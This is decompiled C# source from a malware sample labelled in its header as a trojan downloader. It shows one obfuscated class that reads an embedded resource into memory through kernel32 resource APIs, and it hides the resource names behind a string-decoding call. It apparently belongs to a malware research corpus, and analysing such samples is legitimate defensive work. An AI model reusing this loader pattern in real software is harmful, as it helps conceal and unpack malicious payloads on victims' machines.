// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 7761CAE9-D290-48D9-A44C-5C95C5289DD6
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Downloader.MSIL.VKont.a-1d4cb0f0a33db378f9e4ae1b0f91ee4baabf5f1a669646e1278e016241a1452a.exe

using \u0001;
using \u0004;
using System;
using System.Runtime.InteropServices;

namespace \u0004
{
  internal sealed class \u0002
  {
    [NonSerialized]
    internal static \u0001.\u0001 \u0001;

    [DllImport("kernel32.dll", EntryPoint = "FindResource", SetLastError = true)]
    private static extern IntPtr \u0002([In] IntPtr obj0, [In] string obj1, [In] string obj2);

    [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)]
    private static extern IntPtr \u0002([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName);

    [DllImport("kernel32", EntryPoint = "SizeofResource", CharSet = CharSet.Ansi, SetLastError = true)]
    private static extern int \u0002([In] IntPtr obj0, [In] IntPtr obj1);

    [DllImport("kernel32", EntryPoint = "LoadResource", CharSet = CharSet.Ansi, SetLastError = true)]
    private static extern IntPtr \u0002([In] IntPtr obj0, [In] IntPtr obj1);

    public static byte[] \u0002([In] string obj0)
    {
      IntPtr num1 = \u0002.\u0002(ref obj0);
      IntPtr num2 = \u0002.\u0002(num1, \u0002.\u0001(4513), \u0002.\u0001(4518));
      IntPtr source = \u0002.\u0002(num1, num2);
      int length = \u0002.\u0002(num1, num2);
      byte[] destination = new byte[checked (length - 1 + 1)];
      Marshal.Copy(source, destination, 0, length);
      return destination;
    }

    static \u0002() => \u0002.\u0002();
  }
}
